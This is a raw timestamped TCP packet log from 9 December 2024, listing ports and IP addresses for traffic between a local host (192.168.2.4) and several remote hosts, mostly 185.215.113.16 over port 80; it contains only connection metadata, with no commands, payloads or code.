Dec 9, 2024 23:09:42.991170883 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.991229057 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.991275072 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.991337061 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.991357088 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.991393089 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.995418072 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.995471954 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.996026993 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.003369093 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.079504967 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.079639912 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.079835892 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.079943895 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.080693960 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.080809116 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.093445063 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.093601942 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.093873024 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.093949080 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.094142914 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.094321966 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.094727993 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.094844103 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.095617056 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.095669031 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.096576929 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.096654892 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.097369909 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.097414017 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.097474098 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.098288059 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.098417997 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.099122047 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.099201918 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.099956989 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.100044012 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.103941917 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.104228973 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.104262114 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.104273081 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.104281902 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.104291916 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.104302883 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.104314089 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.104324102 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.104509115 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.105279922 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.105395079 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.106189966 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.106235981 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.106928110 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.106992960 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.108030081 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.108172894 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.108711958 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.108831882 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.109632015 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.109738111 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.110629082 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.110742092 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.111341000 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.111481905 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.112070084 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.112154007 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.112178087 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.112199068 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.112200022 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.112226009 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.112261057 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.112298965 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.113040924 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.113114119 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.113905907 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.114053011 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.114324093 CET	49884	443	192.168.2.4	34.117.188.166
Dec 9, 2024 23:09:43.114371061 CET	443	49884	34.117.188.166	192.168.2.4
Dec 9, 2024 23:09:43.114711046 CET	49885	443	192.168.2.4	35.244.181.201
Dec 9, 2024 23:09:43.114718914 CET	443	49885	35.244.181.201	192.168.2.4
Dec 9, 2024 23:09:43.114789963 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.114883900 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.114893913 CET	80	49879	34.107.221.82	192.168.2.4
Dec 9, 2024 23:09:43.115681887 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.115771055 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.116246939 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.116295099 CET	49884	443	192.168.2.4	34.117.188.166
Dec 9, 2024 23:09:43.116450071 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.116451025 CET	49885	443	192.168.2.4	35.244.181.201
Dec 9, 2024 23:09:43.116596937 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.116683006 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.116924047 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.117450953 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.117542028 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.118055105 CET	49884	443	192.168.2.4	34.117.188.166
Dec 9, 2024 23:09:43.118072033 CET	443	49884	34.117.188.166	192.168.2.4
Dec 9, 2024 23:09:43.118228912 CET	49885	443	192.168.2.4	35.244.181.201
Dec 9, 2024 23:09:43.118241072 CET	443	49885	35.244.181.201	192.168.2.4
Dec 9, 2024 23:09:43.119172096 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.122720957 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.122808933 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.123262882 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.135448933 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.160095930 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.244452000 CET	49879	80	192.168.2.4	34.107.221.82
Dec 9, 2024 23:09:43.254750967 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.254858971 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.255024910 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.255186081 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.255335093 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.255378008 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.256067038 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.256162882 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.256202936 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.256931067 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.257066965 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.257527113 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.279366970 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.279578924 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.279623985 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.279863119 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.279958963 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.280006886 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.280723095 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.280823946 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.280863047 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.281570911 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.281672955 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.281740904 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.282480955 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.282598019 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.282640934 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.283324003 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.283467054 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.283509970 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.284189939 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.284374952 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.284478903 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.285098076 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.285164118 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.285204887 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.286000013 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.286113024 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.286155939 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.286791086 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.286906004 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.287010908 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.287661076 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.287771940 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.287811995 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.288537025 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.288649082 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.288693905 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.289441109 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.289500952 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.289545059 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.290330887 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.290374994 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.290456057 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.291186094 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.291343927 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.291434050 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.292056084 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.292159081 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.292200089 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.292896986 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.293057919 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.293103933 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.293798923 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.293868065 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.294015884 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.294718027 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.294795036 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.294935942 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.295500994 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.295594931 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.296411037 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.296472073 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.296811104 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.297265053 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.297378063 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.297421932 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.298119068 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.298233986 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.298280954 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.298985004 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.299096107 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.299139977 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.299855947 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.299990892 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.300018072 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.300755024 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.300808907 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.300853968 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.301594019 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.301707983 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.301750898 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.302488089 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.302630901 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.302668095 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.303388119 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.303493977 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.303545952 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.304265976 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.304348946 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.304392099 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.305126905 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.305216074 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.305260897 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.306073904 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.306157112 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.306199074 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.306839943 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.306972027 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.307010889 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.307749033 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.307877064 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.307920933 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.308583021 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.308686972 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.308779955 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.309442997 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.309627056 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.309673071 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.310311079 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.310389996 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.310432911 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.311245918 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.311331987 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.311373949 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.312139988 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.312271118 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.312423944 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.312957048 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.313066959 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.313107967 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.313808918 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.313879967 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.313919067 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.314779997 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.314954042 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.315018892 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.315586090 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.315692902 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.316459894 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.316612959 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.316622019 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.317337990 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.317454100 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.318172932 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.318293095 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.319072962 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.319205999 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.319917917 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.320045948 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.320817947 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.320940018 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.321662903 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.321785927 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.322576046 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.322642088 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.323456049 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.323497057 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.324317932 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.324407101 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.325182915 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.325288057 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.326069117 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.326134920 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.326960087 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.327130079 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.327142954 CET	443	49880	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:43.327774048 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.327889919 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.328643084 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.328737020 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.329050064 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.329504013 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.329626083 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.330056906 CET	443	49875	142.250.181.78	192.168.2.4
Dec 9, 2024 23:09:43.330466986 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.330476999 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.330647945 CET	443	49875	142.250.181.78	192.168.2.4
Dec 9, 2024 23:09:43.331271887 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.331363916 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.332166910 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.332230091 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.332979918 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.332979918 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.332988024 CET	49880	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:43.333019972 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.333045959 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.333095074 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.333106995 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.333108902 CET	49875	443	192.168.2.4	142.250.181.78
Dec 9, 2024 23:09:43.333120108 CET	443	49875	142.250.181.78	192.168.2.4
Dec 9, 2024 23:09:43.333126068 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.333864927 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.333986998 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.334093094 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.334198952 CET	49880	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:43.334223032 CET	443	49880	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:43.334409952 CET	443	49880	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:43.334736109 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.334783077 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.335591078 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.335644007 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.335673094 CET	49880	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:43.335786104 CET	49880	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:43.335792065 CET	443	49880	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:43.336500883 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.336659908 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.337333918 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.337446928 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.338253021 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.338335991 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.339096069 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.344672918 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.360300064 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.445000887 CET	49875	443	192.168.2.4	142.250.181.78
Dec 9, 2024 23:09:43.463742018 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.463865995 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.463912964 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.464178085 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.464224100 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.464270115 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.465087891 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.465230942 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.465272903 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.465925932 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.465976000 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.466021061 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.466777086 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.466835022 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.466902971 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.467709064 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.467868090 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.467928886 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:43.468614101 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.468703985 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:43.468744993 CET	49868	80	192.168.2.4	185.215.113.16
